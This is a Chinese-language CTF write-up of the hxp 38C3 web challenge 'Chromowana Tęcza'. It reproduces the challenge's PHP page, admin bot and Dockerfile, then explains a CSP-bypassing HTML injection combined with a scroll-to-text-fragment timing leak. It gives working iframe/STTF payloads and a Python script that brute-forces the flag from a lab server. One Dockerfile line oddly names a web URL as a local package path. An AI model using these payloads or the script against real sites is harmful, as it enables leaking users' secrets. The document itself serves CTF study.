前几周打的 hxp 38C3 CTF 上出现了一道很有意思的 CTF,不过当时起晚了没跟队友一起做,题目名叫 Chromowana Tęcza,感兴趣的可以到 CTFtime 自行下载 docker 复现。
整道题给了一个 admin.py 和 index.php,这里 index.php 里做了CSP
1 2 3 4 5 6 <?php $nonce = base64_encode (random_bytes (32 )); header ("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce '; style-src 'nonce-$nonce '; base-uri 'none'; frame-ancestors 'none';" ); header ('Referrer-Policy: no-referrer' ); header ('X-Content-Type-Options: nosniff' ); ?>
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <!DOCTYPE html> <html lang="pl" > <head> <meta charset="UTF-8" > <!-- budget HTTPS --> <title>🔒 Chromowana Tęcza</title> <style nonce="<?= $nonce ?>" > body{ font-family: sans-serif; color: background-color: font-size: 100 px; text-align: center; } </style> </head> <body> <?php foreach ([...(isset ($_COOKIE ['flag' ]) ? [strval ($_COOKIE ['flag' ]) ] : ['no flag found' ]), ...(isset ($_GET ['awesome' ]) ? [strval ($_GET ['awesome' ]) ] : ['🥰 hxp 🥰' ]) ] as $rainbow ): ?> <?php if (strtolower ($rainbow ) == $rainbow ): ?> <div class ="rainbowText "><?= $rainbow ?></div > <?php else : ?> <div class ="rainbowText ">stay positive , but lower case :)</div > <?php endif ?> <?php endforeach ?> <form action ="http ://<?= str_replace (':8800', ':8801', $_SERVER ['HTTP_HOST ']) ?><?= $_SERVER ['REQUEST_URI '] ?>" method ="POST "> <input type ="submit " value ="show to admin ( ͡❛ ͜ʖ ͡❛)"> </form > <script nonce ="<?= $nonce ?>"> Array .from (document .getElementsByClassName ('rainbowText ')).forEach (function (element ) { let text = element.innerText; element.innerHTML = '' ; for (let i = 0 ; i < text.length; i++) { let charElem = document.createElement ('span' ); charElem.style.color = 'hsl(' + (360 * i / text.length) + ',80%,50%)' ; charElem.innerText = text[i]; element.appendChild (charElem); } }); </script> </body>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import sys, refrom selenium import webdriverSERVER = 'http://127.0.0.1:80/' ADMIN_PORT = ':8801' NGINX_PORT = ':8800' start_line = re.match (r'^(\S+) /(\S*) HTTP/1.[01]$' , input ().strip()) if not start_line: sys.stdout.write('HTTP/1.1 400 Bad Request\r\nConnection: close\r\n\r\n' ) exit() method = start_line.group(1 ) path = start_line.group(2 ) headers = {} for _ in range (16 ): header_line = input ().strip() if not header_line: break header, content = header_line.split(': ' , 1 ) header = header.lower() headers[header] = (headers[header] + ', ' if header in headers else '' ) + content if 'host' not in headers: sys.stdout.write('HTTP/1.1 400 Bad Request\r\nConnection: close\r\n\r\n' ) exit() host = headers['host' ].replace(ADMIN_PORT, NGINX_PORT) if method != 'POST' : sys.stdout.write(f'HTTP/1.1 302 Found\r\nConnection: close\r\nLocation: http://{host} /?awesome=not_n__i__c__e\r\n\r\n' ) exit() url = SERVER + path print ('[+] visiting ' + url, file=sys.stderr)with open ('/flag.txt' ) as f: flag = f.read().strip() options = webdriver.ChromeOptions() options.add_argument("--headless" ) driver = webdriver.Chrome(options=options) driver.get(SERVER + '404' ) driver.add_cookie({ 'name' : 'flag' , 'value' : flag, 'sameSite' : 'Strict' , }) driver.get(url) driver.quit() sys.stdout.write(f'HTTP/1.1 302 Found\r\nConnection: close\r\nLocation: http://{host} /?awesome=n__i__c__e\r\n\r\n' ) exit()
大致看下来可以知道这是一道 XSS,但是做了很多限制,除了上面的 CSP 外,后端还做了大小写限制,以及前台 js 限制,这里 CSP 用的方法是Google几年前提出的一种方法,https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/,即使用 nonce-{random}
来进行 CSP 防御,具体 Paper 可以看看 https://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/45542.pdf,这里还用到了 STTF 攻击,非常有意思,https://xsleaks.dev/docs/attacks/experiments/scroll-to-text-fragment/
除此之外,Dockerfile 还下载了一个 Chrome,这告诉我们整道题不只是 XSS 这么简单。
1 2 3 4 5 6 7 8 9 10 RUN DEBIAN_FRONTEND=noninteractive apt-get update && \ apt-get install -y --no-install-recommends \ nginx \ php-fpm \ python3 \ python3-pip \ wget \ && wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb \ && apt-get install -y https://bfs.iloli.moe/2025/02/03/google-chrome-stable_current_amd64.deb \ && rm -rf https://bfs.iloli.moe/2025/02/03/google-chrome-stable_current_amd64.deb /var/lib/apt/lists/
CSP这里添加了 nonce-{random}
机制,可以防范一系列的内敛攻击,除此之外还有 base-uri
限制,如果我们输入
1 ?awesome=<p > <script src =? > </div > 111</p >
则会回显
注意这里点击 show me admin 的时候会卡一下,原因是因为后台这个 bot 不断在上下滑动,赛后主办方说为了这操作准备挺久的 xD,这里用到的STTF攻击如下所说
Scroll to Text Fragment (STTF) is a new web platform feature that allows users to create a link to any part of a web page text. The fragment #:~:text=
carries a text snippet that is highlighted and brought into the viewport by the browser. This feature can introduce a new XS-Leak if attackers are able to detect when this behavior occurs. This issue is very similar to the Scroll to CSS Selector XS-Leak.
预期解是通过STTF+details元素+object元素进行窗口调用攻击,原文如下
our solution involved using STTF + details element + object element: details element shows content only when the element is opened (usually clicked), but it can also be opened via STTF. so with details element i can show content if STTF triggers onto it. then, i used the fact that object tag only creates window reference if it is visible (see justctf’s challenge another another csp), so i put object tag in details element. if the details element is opened, the object tag renders and creates a window which can be counted cross-origin
there was some weirdness where the object would always create the window reference if there was STTF present, but for some reason doing <object data=/x><object data=about:blank></object></object>
fixed it
but to do window counting we needed our own exploit page to load first, so i abused the fact that you can use STTF without user interaction if you have a same-origin HTML injection (just inject meta http-equiv refresh)
so the URL i reported to the admin bot didnt even have a STTF hash lol, so the weird admin.py wasn’t necessary
到后期绕过 CSP 基本上不是什么难事,这里可以添加一大段标签来简单绕过,大小写就不用说了,就假设预期flag没有大写吧,所以我们要攻击的话很简单,想办法让 bot 停下来就行了,这里的停不是直接停止,而是想办法让 bot 卡一下下,就类似于 SQL延时注入那样,可以大胆猜测目标容器内存很小 xD,这里看见有人通过加载一大堆 <iframe>
标签来卡住 bot,说实话这想法确实牛逼,但是随后也发现了有人在吐槽,说现实生活中触发XSS基本上核心用 <img src=a onerror=alert(1)>
就够了,只能说这道题是为了 CTF 而出的 CTF,不过挺好玩就是了,也学到很多东西。
有了大致思路,这里闭合下标签,构造一下
1 ?awesome=<p><br><br><br><br><br><br><br><br>...无数个<br><script src=?></div>111</p></div>
接着搓出几个 <iframe src=1 loading=lazy></iframe>
,exp如下
1 ?awesome=<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><iframe src=a loading=lazy></iframe>i#:~:text=i<script+src%3d%3f></div>111</p></div>
接下来生成无限多的<iframe>
标签即可
1 ?awesome=<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe>i#:~:text=i<script src></div>111</p></div>
这里 flag 为 icecliffs
,当我们输入i
如果输入别的
接着写一个脚本出来爆破flag即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsimport datetimealpha_code = "abcdefghijklmnopqrstuvwxyz" for alpha in alpha_code: burp0_url = "http://192.168.50.111:8800/?awesome=<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe>{0}#:~:text={1}<script src></div>111</p></div>" .format (alpha, alpha) burp0_headers = {"Cache-Control" : "max-age=0" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Accept-Encoding" : "gzip, deflate, br" , "Connection" : "keep-alive" } start = datetime.datetime.now() requests.get(burp0_url, headers=burp0_headers) end = datetime.datetime.now() interval = end - start if interval.seconds > 2 : print (alpha)
Reference